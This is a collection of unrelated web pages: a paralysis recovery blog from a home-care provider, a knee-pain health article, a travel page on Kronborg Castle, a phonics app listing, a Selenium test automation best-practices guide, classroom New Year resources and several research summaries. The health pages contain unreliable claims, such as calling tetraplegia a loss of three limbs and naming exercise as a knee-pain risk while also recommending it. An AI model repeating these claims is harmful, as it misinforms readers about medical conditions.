The whole system is written in a language that powers more than 80% of the web (http://w3techs.com/technologies/details/pl-php/all/all) and is used by some of the internet's biggest players. Writing the server in PHP opens the source code to be understood by a huge community and empowers them to adapt it to their needs. Furthermore parts of Stairtower may be reused in other projects (e.g. the server's backend could be used as data provider without using the REST interface).
The software is in
alpha state an early alpha state and not ready for production. The biggest parts of the API are defined and major parts are covered by unit tests. Nevertheless there is much to improve.
PHP 7.1 or higher
This section lists some planed features.
Feedback and contributions are more than welcome. This is a young project and I would like to let your great ideas shape the future of Stairtower. Please feel free to start chatting at https://gitter.im/cundd/pos or drop me a line at email@example.com.
The MIT License (MIT)
Copyright (c) 2017 Daniel Corn
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How to think radically differently.
The only way to be genuinely successful – in your own eyes – and in the world in the long run, is to be genuinely inventive. Hi, and welcome to Inventicity, the channel where we combine inventiveness with felicity.
The topic for today’s video is how to think – and why to think – radically differently. We see in this world today so many copycats. We see so much of the same. Not only in education. Not only in entrepreneurship, but almost everywhere people strive to copy each other, to copy the most influential writers, to copy the most influential inventors. But that is not the way to succeed.
The best writers, the best philosophers, the best inventors – they have a characteristic in common and that is that they are able – they were able and are able – to think radically differently /…/ Watch video.
Cecilia Elise Wallin
FREEBIES for new and established bloggers
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Paralysis is a medical condition where a person experiences loss of muscle function in the body and suffers from loss of any feeling in the affected part. It can either affect one side of the body, known as hemiplegia, or both sides of the body, known as diplegia & apparently it requires treatment of paralysis on right side of body. The time taken to recover from a paralysis attack can differ from patient to patient. Also, the amount of paralysis recovery time that the patient will experience can differ from person to person, wherein some patients may achieve more positive results as compared to others. Your doctor, as well as your physiotherapist, will be able to let you know about your overall condition and recovery chances based on the severity of your condition and also based on how well you follow the rehabilitation process. So the question arises that is right side paralysis curable?
Paralysis can be caused due to various reasons, and the most common reasons are any form of injury to the spinal cord or head, stroke, and multiple sclerosis. At the moment, there is no paralysis cure available yet. While this can be a difficult thing to live with, especially if you or your loved one has suffered a paralytic attack, there are various aids and methods that can bring some improvement in the condition.
The type of paralysis that a patient suffers from will depend on the type of injury or cause that led to the paralytic attack. As a result, the doctor will analyze the patient’s overall condition and then suggest the right type of treatment approach.
Here are the different types of paralysis that affect most people:
It is the type of paralysis in which all four limbs of the patient, as well as the main body, is affected with paralysis. This type of paralysis occurs when a person suffers an injury to the spinal cord above the thoracic vertebra (the segments in the upper area of the spine). In some patients, quadriplegia can also take the form of tetraplegia, which is a type of paralytic condition in which the patient loses any sort of sensation and movement in three limbs.
It is the type of paralysis in which the patient loses the ability of movement in both the legs. This type of paralysis occurs when a person suffers from an injury below the thoracic vertebra. Most people who are confined to a wheelchair after suffering from a paralytic attack have paraplegia.
It is the type of paralysis in which the patient loses the ability of movement in any one limb. This type of paralysis takes place when the person suffers from a spinal injury in which there is some damage to some of the localized areas in the peripheral nervous system (the part of the nervous system which contains the nerves that are outside the brain and spinal cord). It could also happen from damage to related parts in the motor cortex (the part of the brain that is involved in the process of helping you plan, control and execute various voluntary movements).
It is the type of paralysis in which the person will lose any form of sensation and the ability for movement in symmetrical parts of their body, such as on both sides of the face or both the arms and so on. These are the two most common parts of the body that are affected in the case of diplegia. This type of paralysis also happens when the person suffers from any type of injury to the spinal cord.
It is the type of paralysis in which the person loses any form of sensation and the ability for movement on only one side of the body. As a result, there will be no sensation or ability of movement in that entire area from the affected part down one entire side. This type of paralysis often happens when a person suffers from a stroke that affects one hemisphere in the brain.
There is no fixed time that a patient will take to recover from paralysis. Here are a few factors that can affect how long it will take for the patient to recover from a paralytic attack:
According to Dr. Shruti Barve, Head Physiotherapist at Care24, the following factors will determine how long a patient may take to recover from a paralysis attack treatment:
Physiotherapy treatment is based on the whole body right from the paralysis cure on the left side of the body to the treatment of paralysis on the right side of the body and not just the affected arm or leg. A lot of time is spent at the outset in obtaining a correct position of the body and of the limbs while the patient is confined to the bed or in the chair. Each time the patient has to be moved, whether to turn the patient in the bed or to help transfer the patient from the bed to a chair or a commode or to assist with any other form of movement, it has to be done according to a carefully worked out pattern. It is very important that all the limbs must always be placed in the correct position each time that the patient is moved.
The process of paralysis recovery usually includes treatment, spontaneous recovery, rehabilitation and the return to community living. Because stroke survivors often have complex rehabilitation needs, progress and recovery will be different for each person. Paralysis cure begins in a hospital with “acute care.”According to Dr. Shruti Barve, here is a look at some of the stages of recovery that a paralysis patient will go through:
Walking training for a patient has to be delayed until the patient is able to acquire adequate strength, good posture, and balance. Family members can expect a severely affected paralyzed patient to take anything from 1 to 6 months to regain skill, confidence, and security in walking after a severe stroke.
It is always best to speak to your doctor and therapist to understand when you are ready to begin your rehabilitation program. Your doctor will guide you about the right time, which will be around the time that you are released from acute and are given the go-ahead to go home, or at least start the basic recovery process in the care facility.
Once your doctor and therapist assess your overall condition and understand the severity of your paralysis, they will suggest a time for you to begin therapy.
Age may have a bearing on how long you take to recover from paralysis, as your body will take longer to heal. Also, if you are suffering from any other type of health condition, it will have a direct impact on the overall time it takes for you to go through a paralysis cure.
These exercises will help your muscles regain strength and may also help improve mobility in the areas that are affected as a result of paralysis. Make sure you do this in the presence of a certified physiotherapist in order to avoid any accidental injury. Also, if at any point of time you feel pain or discomfort, make sure to tell your therapist about it and stop immediately.
At Care24, our team of experienced and trained physiotherapists will assist you in carrying out all the required types of exercises right in the comfort of your home. As a result, you will not be required to make any additional trips and will be in the company of your family members.
The therapist will offer you complete personal attention, which is always helpful in speeding up the recovery process. The therapist will also be able to assess your condition on a daily basis, as well as keep a track of your overall progress, based on which they can modify the exercise plan.
Each session with our Care24 physiotherapist lasts for at least 30 minutes and can be extended if the therapist feels it is required. During the session, the therapist will help the patient carry out various exercises that will improve mobility. These exercises can be simple ones, or the therapist will use additional support tools.
In addition to helping you customize an exercise plan that will help you bring back some movement in your limbs, a physiotherapist can also help you in the following ways:
Occupational therapy is a form of treatment and therapy process where the therapist will assess the condition of the patient to help develop a particular strategy which will help the patient overcome issues related to movement, in the case of paralysis.
An occupational therapist will help to develop a customized plan based on the patient’s condition and overall health. These will help the patient be more independent and will enable them to perform basic tasks related to self-care. This form of therapy will make use of specialized tools as well as techniques that can help patients with different needs and restrictions.
The therapist will also help to modify the entire plan in such a way that the patient can follow it at home, as well as at the workplace or outside, as and when the patient is stable enough to do so.
For someone who has recently learned that he or she has been affected with paralysis, it can be very difficult coming to terms with reality. Your loved one may find it impossible to believe that this could happen for real. In many cases where a person is diagnosed with paralysis, the first reaction is often of shock and disbelief, followed by depression and self-pity. Anger, frustration and severe mood swings also often are part of this reaction, and in some cases, it can lead to other health issues if the depression is severe and not taken care of in time.
Is It Possible To Achieve Full Recovery From Paralysis?
Full recovery from a paralytic attack can take around 6 months to 1 year depending on the severity of the condition as well as the part of the brain affected. However, some patients may require lifelong assistance as they may not recover completely from the attack.
Equipment exercising is especially helpful for patients who suffer from paralysis, as it will give them the support and additional boost they require to perform regular exercises. Most of the equipment is made keeping in mind the special needs of paralytic users, hence they are safe to use. Also, as these can be used independently or with the help of a caregiver, a patient can easily use these exercise equipment at home, as a means of rehab and healing.
A type of portable and lightweight exercise equipment that you can place on the table to perform hand based exercises or on the floor to perform leg based exercises. You can perform light aerobic exercises that are low impact and will help to target the muscles in your hips, calves, hamstrings and both the upper and lower body.
It is a simple type of exercise equipment that will help to exercise the muscles of the wrist, fingers, and hand. The handgrip will help to improve strength in the lower arms as well as improve overall endurance and flexibility in the arms and fingers. It will help patients regain and strengthen their grip, as well as improve strength and dexterity in the fingers.
Here is some statistical information on paralysis recovery from around the world:
22-year-old Simarpreet Singh suffered a paralytic attack in the year 2005, after being in an accident. However, this young man who was paralyzed from the waist down went on to top the CAT with a score of 99.97 percentile. The young man, who now works in a private firm, has been in a wheelchair ever since the accident. You can read his full story here.
A professional caregiver can help take care of most of the caring needs for a paralysis patient at home. You can book an appointment today on our website, and also speak to the doctor for various treatment options. | <urn:uuid:b664a669-c11a-451d-a662-e11f6f13dc63> | CC-MAIN-2022-33 | https://care24.co.in/blog/paralysis-recovery-time/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.964122 | 2,299 | 2.953125 | 3 |
What Leads To Knee Pain In 20s And 30s? Follow These Do's And Don'ts To Prevent Knee Pain
Not just adults, knee pain can affect individuals at a younger age too. Read here to know from expert some possible causes and how to prevent this.
- Unhealthy body weight can lead to knee pain
- Regular exercise can help you prevent knee pain
- Consume a diet rich in calcium and vitamin D for healthy bones and joints
Knee pain is a common condition that is experienced by people of all ages. Although knee and joint problems are a normal part of aging, in recent times due to unhealthy lifestyle patterns even the people at young age complain of joint pain. Many short-term and long-term problems are associated to cause knee pain.
Factors that result in Knee pain in the 20s and 30s
Knee pain has multifactorial etiologies like sports injury, obesity, female gender, knee trauma, repetitive use of joints, injury to the joint, joint laxity, low bone density, muscle weakness and genetic susceptibility all of which predispose adolescents/young adults to the development of knee problems.
1. Kneeling and squatting: Research studies suggest that kneeling and squatting for more than two hours a day is associated with a two-fold increase in causing knee disorders.
2. Obesity: Patients with metabolic syndrome or obesity may alter the articular cartilage metabolism. It has been suggested that around 27% of total hip arthroplasty and 69% of knee replacement surgery are attributed to obesity.
3. Gender: Being a female also increases the risk of knee pain and osteoarthritis by around 2 times. Evidence-based studies suggest that females have higher levels of leptin concentrations than their male counterparts predisposing them to knee pain and osteoarthritis.
4. Meniscal surgery: Patients undergoing reconstruction surgery or partial meniscectomy surgery are more likely to develop knee problems like knee osteoarthritis in the future.
5. Physical exercise: Doing physical exercise more than twice a week is also associated with an increased probability of knee pain.
6. Vitamin D deficiency: Vitamin D deficiency can cause joint pain, and may even lead to osteoporotic problems with the bones in the future.
7. Pregnancy: Studies have suggested that women having more than 6 pregnancies are at an increased risk of knee and associated pain.
8. Patellofemoral pain syndrome: Knee pain is very common in young adults and may result due to imbalance or weakness in the muscles surrounding the kneecap, hamstring muscles being tight, problems associated with weight-bearing and alignment through the leg. Patellofemoral pain syndrome is a consequence of overuse of knee joints that puts pressure on the kneecap and cartilage within the joint.
9. Genetic Factors: Osteoarthritis associated knee pain may run in families. If anyone in the family has an osteoarthritis problem, then the young ones in the family may be at an increased risk of developing osteoarthritis and associated knee pain.
Suffering from knee pain at a young age can functionally impair and interrupt everyday activities reducing academic performance.
Do's and don'ts to avoid knee problem:
Determining the risk factors affecting your joints particularly the weight-bearing joints may reduce the risk of osteoarthritis and prevent any pain and disability arising from it. Here are a few do's and don'ts that can be followed to avoid knee problems.
1. Normal body weight: Maintaining normal body weight can prevent circulation problems and promote cartilage and bone growth thus helping avoid knee problems. On the other hand, a normal Body Mass Index (BMI) will put less pressure on the joints and may even reduce the risks of inflammation.
2. Physical exercise: Fitness exercises like walking, aerobics, and strength training exercises have proved to be effective in keeping the knee healthy, pain-free, and flexible.
3. Maintain a good posture as it helps reduce the pressure on the joints.
4. Eat leafy greens, fresh fruits like berries as they are rich in antioxidants and can prevent inflammation and pain.
5. Keep yourself hydrated as it will detoxify your blood and keep your joints healthy.
1. Slouching, while sitting or standing, can strain the joints. So avoid doing that.
2. Quit smoking. Smoking can activate inflammatory pathways, making it take longer for your body to heal from injuries and worsening the pain.
3. Avoid consuming alcohol and sugary drinks.
(Dr. D K Das is a Sr. Consultant Orthopedic & Joint Replacement Surgeon at Apollo Spectra Delhi, Nehru Enclave)
Disclaimer: The opinions expressed within this article are the personal opinions of the author. NDTV is not responsible for the accuracy, completeness, suitability, or validity of any information on this article. All information is provided on an as-is basis. The information, facts or opinions appearing in the article do not reflect the views of NDTV and NDTV does not assume any responsibility or liability for the same.
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Using data from research in Zambia, and drawing on the broader literature on HIV/AIDS, reproductive health, and gender, this paper examines the difficulties faced by women who wish – or are pressured – to have children, but at the same time want to protect themselves and their children against HIV infection.
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Our FAQs page has some examples of this approach. | <urn:uuid:0b61edd0-aad9-4328-9e8f-b5f6b75e6048> | CC-MAIN-2022-33 | https://policy-practice.oxfam.org/resources/safe-motherhood-in-the-time-of-aids-the-illusion-of-reproductive-choice-131451/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.890601 | 214 | 2.140625 | 2 |
The next time you plan on visiting Denmark, a stop at Kronborg Castle should be on your itinerary. The most infamous of all the castles in Denmark, Kronborg was immortalized by Shakespeare in the 17th century.
Kronborg Castle is the real life castle in which Shakespeare set the play Hamlet. Shakespeare’s history is shrouded in mystery, so it remains unclear whether or not he ever actually set foot within the castle walls; however, in Hamlet, Shakespeare calls the castle Elsinore. The town in which Kronborg resides, Helsingør, has been translated into English as Elsinore.
Every summer, on the grounds of Kronborg, the Shakespeare Festival at Hamlet’s Castle is the place to be. There is fun for the whole family as live performances of Shakespeare’s most famous plays fill the air. Theater troupes from across Denmark and other parts of the world all come together to bring these masterpieces to life, including the Royal Shakespeare Company.
Kronborg Castle has a rich history dating back to its construction in the early 1400s. over the years it has been burned and rebuilt; however, the castle has always been rebuilt on the same swath of land upon which it was originally built, at the port of Øresund Sound. Ships heading out to the Baltic Sea had to pay a toll for passage at Kronborg, making Helsingør one of Europe’s most prominent towns at that point in history. UNESCO recognized Kronborg Castle as a World Heritage Site in the year 2000.
Beneath the castle you’ll have the opportunity to explore the many crypts and catacombs. Deep below the castle is hidden Holger the Dane, a stone statue that’s quite imposing. In Danish culture, Holger the Dane is legendary. As the story goes, if Denmark ever came under siege, he would wake from his stony slumber and defend his homeland.
Kronborg Castle is open seven days per week for guided tours between 10:00 a.m. and 5:30 p.m. You can choose from three different tours, in varying lengths. Children from newborn to 17 years of age are admitted free, and if you possess a Copenhagen Card you also get free admission. Adult admission is 90-140 DKK (Danish Krones), which translates to roughly $14-22 US Dollars. Student admission is 80 DKK, or about $12 US Dollars. The sliding scale of admission is due to the different tours available. | <urn:uuid:a933e380-c69e-4ba4-ad0a-1e3ceaf93d33> | CC-MAIN-2022-33 | https://www.directsupplynetwork.net/kronborg-castle-copenhagen-denmark.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.951242 | 522 | 2.5625 | 3 |
Teach spelling with phonics to children.
Soon after the alphabets with phonics learning, the stage of “Spelling with Phonics” comes for early graders. It starts with two letter words (At, Ot, En), followed by Spelling Three letter CVC words (consonant, vowel, consonant) Bat, Cat, Rat, Pen etc.
Traditionally, this process involves collecting and filtering the suitable words and print these words to create flashcards. These flashcards are then presented as a joining cards demonstration to a group of students in the classroom.
Since these cards are supposed to be presented repetitively for reinforcement, the difficult handling of printed cards makes it a tiresome and a classroom specific activity.
In this “Learn Three 3 Letter Words Spelling” App, we have searched and filtered maximum suitable words and compiled them into ONE interactive learning app.
The app is primarily made for teaching assistance and can be effectively used in the classroom. It is equally good for parents to reinforce the concept in their homes.
It not only saves printing, makes all the repetitive tasks automated, but also provides progress monitoring which makes it more effective than printed sheets.
The app is very simple to use. It starts with one of 14 provided categories (Collection of AT, OT, ED Words etc) with a basic animation about how A & T combines to form “AT”. Below you can find the possible letter combinations for drag and match to form the CVC word.
As soon as the word is formed and spoken, a corresponding image is shown for better understanding and teaching assistance.
The progress of learning individual word can be easily seen as a star is given for every word completion. A maximum of 5 stars are given and then the word is greyed out making it temporarily disabled. This functionality is provided for forcibly excelling to more words. The stars however can be reset to re-enable the greyed out words.
The continuous practice of all the words in every category makes the parent / teacher confident about introducing maximum words formation.
Clean & animated interface, beautiful relative images, studio quality voiceover and a handful selection of words makes it perfect for an ideal learning app.
14 Categories 84 Essential Words
Teacher Proofread Content
High Quality Images
Studio Quality Voiceover
Stars for progress tracking
Interactive & Animated
Clean & Attractive Interface
It is a must have educational app which is provided Free to download as a demo. There are a total of 14 categories with all essential words to practice for kids. It is strongly recommended to practice the ads-free and complete app to ensure a better understanding for words formation.
Apart from teaching basic spelling making technique, This app also improves vocabulary and promotes phonetic learning. The app is ideal to be practiced in the classroom and is equally beneficial to be practiced in the home.
The app consumes a very small amount of disk space, thus can be kept in the device for as long as required.
You can buy the complete app within the app itself.
We at “Holiday Educationist” have a team of trained & certified teachers to proofread the apps’ content for the optimum quality assurance. | <urn:uuid:27c2cafb-b331-4ff4-a442-bbd92f625ff8> | CC-MAIN-2022-33 | https://play.google.com/store/apps/details?id=com.kindergarteneducationist.tlw&hl=en&gl=us | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.938343 | 665 | 3.34375 | 3 |
When starting with automation testing, one might notice the endless possibilities to choose from: different approaches, techniques, frameworks, tools and of course ways of code writing. At times, such variety could turn the process into a problem instead of a solution. In order to avoid this and to keep automation testing as simple as it can be, here are 14 eye-opening test automation best practices to follow out of my own personal experience (the first 5 are generic test automation best practices for UI, API or any other kind of test automation, and the rest are 9 test automation best practices, you can apply in UI automation).
14 Test Automation Best Practices
- Generic Test Automation Best Practices for UI, API or any other kind of test automation
- Test Automation Best Practices Specifically for UI Automation
- Assert vs. Verify (Using Junit or TestNG)
- Web Elements Location Strategy (e.g. Using Selenium)
- Don’t Use a Specific Driver
- Taking Screenshots and Logs from HTML Sources
- Making Your Own Set of Methods (Wrapping Selenium Calls)
- UI Mapping
- Test Design Pattern or Page Object Designer Pattern
- Data Driven Testing
- All Test classes should have the same name of the class that will be checked followed by the “test” word.
- Such as this: ClassNameToBeCheckedTest;
- All Test classes should be saved inside a folder called “test” and it MUST be a kind of mirror of the source folder, meaning it will follow the same structure of the main project folder, but it will only contain tests; For example:
- Main source folder = Project A > Sanity > src > main > java
- Main test folder = Project A > Sanity > src > test > java
- Any kind of setup should be done by the @Before method, or some similar annotations. So the framework being used will know these actions need to be executed before performing the automated tests.
- Information examples: type of browser, which URL should be opened, which timeout should be respected, should the browser be maximized or not and so on.
- With Test Data Builder, all of the data you will need to create and manage during your tests, can be created in a separated class to be reused in the future.
- For example: product’s creation with size, price, market etc.
When following test automation best practices, one should understand fully what test cases to actually automate. Although it depends on the kind of test automation project you’re working on, these are general guidelines to follow:
- Visual Regression Testing: all possible visual scenarios related to CSS or not, such as layout structure (size and position), colors, font size, etc.
- Static Content: checking title, policy terms, logo and other types which rarely change.
- Links: the most important links to check are broken and redirection links.
- Form Fields: test input and returned data, fields rules (number of characters or right type of characters) submit/cancel operations, text fields, drop down, check boxes (*Note: pay attention, because usually it involves multiple pages).
- Multiples Pages: using form fields, such as, submit/cancel buttons, or next/back steps, involves multiple pages/tabs and the data consistence in between them should be checked.
- Data Integrity: the data added is stored correctly in the data base, the data returned is the right one. For example: fill up the zip code and the address will be filled automatically, or if you have a product list in a dropdown element and two more fields related to this dropdown, such as size and color. As soon as you select the product in the first dropdown, the rest should be reloaded only with the related size and color.
- Session and Basic Security: the user session is expiring respecting the correct amount of time, the browser back button can’t access the previous restricted page, or the password, login, credit card fields are under https and restricted fields? My intention is not penetration testing or any other fancy security testing here. But, only checking if the expiration time session defined in the cookie is being respected, or if the browser back button being blocked in pages that it should not be?
- Dynamic Elements and Ajax: pages that are generated with different tag IDs, names or values given by the server. Probably are page results based on user action and the ajax inside the pages. Meaning, these small parts are updated without reloading the page.
- Asserts: will break the test and give an immediate response, as soon as the test fails and will not perform any other action.
- Verify: will continuous your tests, executing the other commands, even with a fail result.
- Deciding which one to use depends on the case.
2. Web Elements Location Strategy (e.g. Using Selenium)
- Id / Name: these parameters are easy, efficient, increase performance and readability.
- XPath: although slow in some browsers, sometimes it’s the only way to get an object. It is also a good option if you need to ensure that some object must appear after another, like div//a;
- Link Text or <a>: efficient, good performance, but take care if the text changes too often.
- Dynamic Elements / AJAX: these elements are generated by the server and, normally, the id/name changes each time the page is opened, so the best way is use the XPATH to map them.
P.S.: Mapping Elements Using Custom Attributes Created by the QA Team
Using IDs or NAME attributes as much as possible should be the reliable and fast way, but it always depends on the developers to insert these attributes in the code and it is known that they forget to use them many, many times. So, why not create a custom attribute and leave it empty to be filled by the QA engineers?
The only thing the development guys should do is refactoring the entire code adding the empty attribute and the test engineer should be able to fill it in his own environment and perform the test. Imagine the custom attribute called “id-for-qa-test”; then the page code should be something as the following:
<html> <div id-for-qa-test="start-date"> <br>Start Date</br> <span>Month</span> <select> <option id-for-qa-test="jan">Jan</option> <option id-for-qa-test="feb">Feb</option> <option id-for-qa-test="mar">Mar</option> </select>
But the idea here is not to have a value defined by the development team. The development team will just add the parameter with empty values (id-for-qa-test=””) and the QA team before running the tests will fill up the parameters with their respective desired values.
The test automation code will use the findElement(By.xpath([contains(@id-for-qa-test, ‘VALUE’)])).
- DON’T use Thread.sleep, because it will add many problems to your test, starting from increasing the run time.
- Wait or FluentWait: You will get more robust, deterministic and in case of element not found, the exception will be clearer.
- You can use something such as: until(ExpectedConditions.elementToBeClickable OR wait.until(ExpectedConditions.urlMatches… OR wait.until(ExpectedConditions.titleContains… OR wait.until(ExpectedConditions.urlContains… OR wait.until(ExpectedConditions.titleContains
- Another cool option is using TestProject‘s Adaptive Wait capability that intelligently waits for actions and validations before proceeding with your test.
- Using Parameter notes you can easily handle different browser types and prepare your test for cross-browser and parallel execution.
- Using JUnit you have @RunWith(Parameterized.class) with @Parameters (browser).
- Using TestNG you have @Parameters(“browser”) with XML configuration.
- It will easily help the investigation in case something goes wrong. Basically, you have to create a kind of Watcher/ Listener for your tests.
- In JUnit you can use @Rule.
- In TestNG you can use extends TestListenerAdapter and use a XML configuration <listener> and org.testng.Reporter.log
- This is often used to speed up the code and easily reuse repeatable code pieces, such as: click on this and wait for that. So, just create a method that will click on something and wait for another thing and call this method every time you need this.
- The example above is frequently called “click and wait actions” or the “clickAndWait method”.
- You can improve your Wrapping Selenium calls including many other commands. For example, adding a verification to check if the element is still available before clicking on it and then, wait the page. But be careful, to not include too many Selenium calls at the same methods.
- To map the user interface could be a very efficient way, not only to create and perform automated tests but also to maintain them. You have all the information stored and organized in one place and if anything changes in the front end or HTML or CSS etc., you just need to update one single file. So, you can easily manage your tests.
- You can perform UI mapping in a variety of ways. For instance, creating a class or structure to store the element’s name with its locator / id OR a property file with key/value pairs OR a JASON, YAML and so on.
- It is an object-oriented class that serves as an interface for a page of your AUT.
- It enhances test maintenance and reduces code duplication.
- Page Objects should never make verification or assertions, but there is a single verification which can and should be within the page object. This verification mission is to verify the page, if critical elements on the page were loaded correctly, a good way to do so is checking it in the constructor of the page object. A page object does not necessarily need to represent an entire page, it could be used to represent components on a page.
- To use the same test with different inputs due to test a considerable variety of scenarios without code changing.
- Here is a great tutorial for Data driven testing with TestNG and another tutorial for Data driven testing with Selenium and TestProject.
There you have it! By implementing as many of these test automation best practices as possible, you will immediately notice the positive impact on your automation testing workflow! | <urn:uuid:a4099866-e8a5-4283-8de8-888a063f5d96> | CC-MAIN-2022-33 | https://blog.testproject.io/2017/04/16/test-automation-best-practices/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.858365 | 2,283 | 2.125 | 2 |
"Our research shows that successful scale-ups in the region generate on average 3.4 times more revenues and 8 times more jobs than other SMEs.
Several countries have recognized the economic value of scale-ups and are developing tailored policies and programs for them. Similar initiatives in the MENA region could have a significant impact. By studying the importance of scale-ups in the context of their local markets, we identified priorities for policymakers to improve their local scale-ups ecosystems across four growth pillars: business fundamentals, business propellers, demand creators, and country readiness. Within these pillars, we have recognized several priority areas, including access to financing, talent, foreign markets, large customers, and regulatory relief. Success also depends on mobilizing an ecosystem of private and public players to orchestrate growth initiatives." | <urn:uuid:92d2f3ec-fbaf-4d3e-93cd-974c2d3ca0cf> | CC-MAIN-2022-33 | https://andeglobal.org/resource-region/united-arab-emirates/?post_type=publication | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571190.0/warc/CC-MAIN-20220810131127-20220810161127-00065.warc.gz | en | 0.935131 | 161 | 1.539063 | 2 |
Redesigning Cities Series Featuring June Williamson
The School of Architecture at the Georgia Institute of Technology recently launched a video and podcast series titled Redesigning Cities: The Speedwall Foundation Talks @ Georgia Tech. The talks address questions facing the public worldwide regarding redesigning cities’ existing systems.
In this video, Professor June Williamson speaks about the need for retrofitting suburbia within efforts to capture excess capacity. In the podcast, Williamson speaks with Allison Arieff of SPUR and author of the New York Times By Design column following her presentation.
Find the full podcast series here. | <urn:uuid:cba80886-bb07-48d3-8e49-b91ede07906d> | CC-MAIN-2022-33 | https://ssa.ccny.cuny.edu/blog/2019/05/09/redesigning-cities-series-featuring-june-williamson/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573118.26/warc/CC-MAIN-20220817213446-20220818003446-00665.warc.gz | en | 0.921568 | 121 | 1.804688 | 2 |
Happy New Year!
Happy New Year, friends! Winter break is offically over and it’s time to ring in the new year!! I know that January seems to be a busy time of year for all of us! It can be hard to get back into the swing of things ( for teachers and students!) Here are some fun-filled new year activities that your students will enjoy!
New Year Worksheets
In a rush? Looking for no prep New Year activity that is still engaging for students? I got you covered! These new year worksheets are perfect for first graders! There are math and reading pages included. Addition and subtraction without regrouping, CVC words, and more! Great for centers, morning work, or just a fun review as your kiddos transition back from winter break! Click here for the New Year Worksheets.
New Year Word Goal Bulletin Board
This bulletin board is an excellent way to motivate your students into making positive new year’s resolutions for themselves! Students will select a word of their choice that they want to embody for the rest of the year. It also makes a great January bulletin board! Check out this New Year Word Student Goal Bulletin Board.
This New Year Flip Book is a great activity to use in your classroom! Your students can write about their resolutions, things they want to learn this year, goals and what they are looking forward to. This New Year Flip Book is a nice way for students to practice their writing skills as well. Check out this New Year Flip Book here.
New Year DIGITAL Choice Board
My students ALWAYS loved using choice boards! This choice board is a great activity to use with your class! My favorite part? They get to choose the activities they want to complete. All of the choices are editable too. Change the video link or the prompt! Grab my New Year Digital Choice Board here!
New Year DIGITAL Writing Slides
These digital new year slides are a quick and fun way to get your students thinking about their goals, memories, and hopes for the new year! This is especially helpful if you need a digital activitiy to assign students. Click here to check out these New Year Writing Slides.
Here’s to a happy and healthy new year! Stay safe!
If you are looking for digital winter resources, be sure to check out this blog post. | <urn:uuid:de131c97-54fc-45fd-9b89-f640561ab85e> | CC-MAIN-2022-33 | https://elementaryatheart.com/2022/01/new-year-activities/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570913.16/warc/CC-MAIN-20220809064307-20220809094307-00065.warc.gz | en | 0.933723 | 494 | 2.28125 | 2 |
A Study of Glutathione S-Aryltransferase from Costelytra Zealandica
An investigation has been made of the stability, purification and properties of Glutathione S-aryltransferase (Ec 188.8.131.52) from the grass-grub, Costelytra zealandica. The enzyme was found to be extremely unstable in crude homogenates of grass-grubs that had been stored frozen at -2O degrees C, but was considerably more stable in homogenates of live grass-grubs. The instability increased with increase of pH. Glutathione gave some protection against inactivation. Selective fractionation of crude homogenates with (NH4)2SO4 provided some evidence for the presence of an endogenous inhibitor of the enzyme. DEAE-cellulose chromatography and isoelectric focusing studies showed the presence of two major GSH S-aryltransferases with isoelectric points of 4.6 and 8.7. Both enzymes were present in the homogenate from a single, live, grass-grub. The molecular weight and optimum pH of each enzyme was identical within experimental error. A brief comparative study of GSH S-transferases showed the presence of GSH S-alkyl- and GSH s-alkene-transferase, but in only very small amounts compared with GSH S-aryltransferase. Differences in stability were demonstrated and some cross-specificity was indicated. Several inhibitor-substituted Sepharoses were prepared in an attempt to purify GSH s-aryltransferase by affinity chromatography. Although columns of the inhibitors removed the enzyme from solution an active enzyme could not be recovered. The effects of pH and temperature on the enzyme-catalysed reaction of GSH and 1, 2-dichloro-4-nitrobenzene (DCNB) were investigated in detail. Analysis of the variation of pKGSH with pH showed the presence of active site groups with pK approximately 9 involved in GSH binding. Calculation of the heat of ionization of these groups in the pI 8.7 enzyme, from the effect of temperature on their pK, suggested that the groups may be Lysine epsilon-NH2. Values for the enthalpy, free energy and entropy of GSH-binding to the pI 8.7 enzyme and of DCNB-binding to the enzyme-GSH complex were also obtained. | <urn:uuid:2ce44eea-da5f-4b3d-b11a-c06ac6b0d719> | CC-MAIN-2022-33 | https://openaccess.wgtn.ac.nz/articles/thesis/A_Study_of_Glutathione_S-Aryltransferase_from_Costelytra_Zealandica/16934863/1 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570741.21/warc/CC-MAIN-20220808001418-20220808031418-00065.warc.gz | en | 0.954403 | 512 | 1.75 | 2 |
When a woman experiences a stressful event early in pregnancy, the risk of her child developing autism spectrum disorders or schizophrenia increases. Yet how maternal stress is transmitted to the brain of the developing fetus, leading to these problems in neurodevelopment, is poorly understood.
New findings by University of Pennsylvania School of Veterinary Medicine scientists suggest that an enzyme found in the placenta is likely playing an important role. This enzyme, O-linked-N-acetylglucosamine transferase, or OGT, translates maternal stress into a reprogramming signal for the brain before birth.
"By manipulating this one gene, we were able to recapitulate many aspects of early prenatal stress," said Tracy L. Bale, senior author on the paper and a professor in the Department of Animal Biology at Penn Vet. "OGT seems to be serving a role as the 'canary in the coal mine,' offering a readout of mom's stress to change the baby's developing brain."
Bale also holds an appointment in the Department of Psychiatry in Penn's Perelman School of Medicine. Her co-author is postdoctoral researcher Christopher L. Howerton. The paper was published online in PNAS this week.
OGT is known to play a role in gene expression through chromatin remodeling, a process that makes some genes more or less available to be converted into proteins. In a study published last year in PNAS, Bale's lab found that placentas from male mice pups had lower levels of OGT than those from female pups, and placentas from mothers that had been exposed to stress early in gestation had lower overall levels of OGT than placentas from the mothers' unstressed counterparts.
"People think that the placenta only serves to promote blood flow between a mom and her baby, but that's really not all it's doing," Bale said. "It's a very dynamic endocrine tissue and it's sex-specific, and we've shown that tampering with it can dramatically affect a baby's developing brain."
